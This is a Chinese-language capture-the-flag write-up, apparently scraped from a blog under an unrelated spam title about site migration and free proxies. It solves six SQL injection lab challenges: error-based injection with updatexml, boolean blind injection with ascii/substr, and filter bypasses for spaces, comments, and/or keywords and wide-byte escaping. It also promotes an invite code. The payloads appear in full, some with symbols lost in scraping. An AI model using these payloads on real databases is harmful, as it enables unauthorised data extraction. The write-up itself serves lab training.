织梦网站搬家国外代理服务器ip免费
织梦网站搬家,国外代理服务器ip免费,wordpress网站收录,WordPress主题使用域名加密文章目录好靶场邀请码#xff1a;c7d3bebb3ccc4c91一、**报错注入-sql注入-数字型**二、**某博客存在SQL注入**三、**sql注入-参数base64**四、**sql注入-空格和注释都被我过滤了**五、**sql注入-宽字节注入**六、**sql注入-and和or被过滤了**好靶场邀请码#xff1a;c7d3beb…文章目录好靶场邀请码c7d3bebb3ccc4c91一、**报错注入-sql注入-数字型**二、**某博客存在SQL注入**三、**sql注入-参数base64**四、**sql注入-空格和注释都被我过滤了**五、**sql注入-宽字节注入**六、**sql注入-and和or被过滤了**好靶场邀请码c7d3bebb3ccc4c91http://www.loveli.com.cn/user输入邀请码获得14天高级会员一、报错注入-sql注入-数字型先输入1搜索查看结果再加入单引号观察是否报错输入1 or 11#结果还是报错说明不是单引号闭合通过查询语句也可看出输入部分没有任何闭合所以是数字型注入去掉单引号后再查寻得到所有信息使用报错函数updatexml获取数据库名sql_injection_lab1 and updatexml(1,concat(0x7e,datebase()),3) #获取该数据库sql_injection_lab的全部表格users和flag两个表格1 and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema sql_injection_lab)),3) #查询flag表格下的字段名id和flag1 and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema sql_injection_lab and table_name flag)),3) #最后查询结果即可结果发现显示不全1 and updatexml(1,concat(0x7e,(select flag from flag)),3) #采用substr函数逐段获取flag先获取flag的前20个字符1 and updatexml(1,concat(0x7e,substr((select flag from flag),1,20)),3) #再获取后20个如果长度不够则不再显示1 and updatexml(1,concat(0x7e,substr((select flag from flag),21,40)),3) #最终获取完整flag{2c9424e981fe4cd5b4382054fd724b45}二、某博客存在SQL注入随机点一篇文章进行抓包注意到请求体有一个5感觉有问题单引号测一下果然返回结果变了这里发现返回结果还是不正常那就把单引号去掉发现响应正常了那就是数字型注入了判断数据有几列结果是5列再判断数据回显位置现在就可以获取数据库、表以及里面的数据了最后成功再flag表里拿到flag三、sql注入-参数base64默认zhangsan返回用户存在加入单引号返回用户不存在再or 11#又返回存在应该是盲注了通过length()函数采用二分法得到当前数据库长度为3zhangsan and length(database())3 #通过ascii()和substr()两个函数采用二分法从97-12226个小写字母的ascii码值的范围之间最终确定数据库名的第一个字母的ascii值为119对应字母w以此类推得出剩下的字母为e、bzhangsan and ascii(substr(database(),1,1))119 #zhangsan and ascii(substr(database(),2,1))101 #zhangsan and ascii(substr(database(),3,1))98 #得到当前数据库名为web再以同样的方法查询表的个数查到表的个数为3个分别为第三张表为flag经过测试flag表有三个字段第二个为flag最后爆破flag长度为38个逐个爆破得到flag{d6efef7cc36d4b809b9fceb41c7d8eeb}四、sql注入-空格和注释都被我过滤了能用的差不多都被过滤了用||代替or代替and空格用、来代替payloadupdatexml(1,concat(0x7e,user()),1)||11接下来查询表名和字段名每两个语句用隔开即可绕过空格最终得出flag1updatexml(1,concat(0x7e,substr((select(flag)from(flag)),1,20)),1)||111updatexml(1,concat(0x7e,substr((select(flag)from(flag)),21,40)),1)||11五、sql注入-宽字节注入输入一个1查看结果什么都没有在后面添加单引号结果没变化说明被过滤了靶场名称为宽字节注入所以在单引号前面加%bf或%df然后加入or 11#即可查看表的所有内容并且拿到flag{457ff9ee2fa147fbb21f5ec9265e2ada}六、sql注入-and和or被过滤了因为or和and都被过滤了所以可以使用逻辑运算符进行绕过或者用oorr和aandnd绕过1 oorr 11#这里看到绕过之后不管怎么注入结果都只是一个0所以常规注入是不行了只能用报错注入了1 updatexml(1,concat(0x7e,database()),1)#这里注处当前数据库名为web再使用子查询注出数据库的表格flag1 updatexml(1,concat(0x7e,(select group_concat(table_name) from infoorrmation_schema.tables where table_schema web)),1)#然后通过同样的方法查出字段名flag1 updatexml(1,concat(0x7e,(select group_concat(column_name) from infoorrmation_schema.columns where table_schema web table_name flag)),1)#最后查询flag就行了不过flag不能一次性显示全需要用到substr()函数分两步注出flag1 updatexml(1,concat(0x7e,substr((select flag from flag),1,20)),1)#1 updatexml(1,concat(0x7e,substr((select flag from flag),21,40)),1)#最终得到flagflag{a003f48d3b5a4f6bac4964565fdf4fef}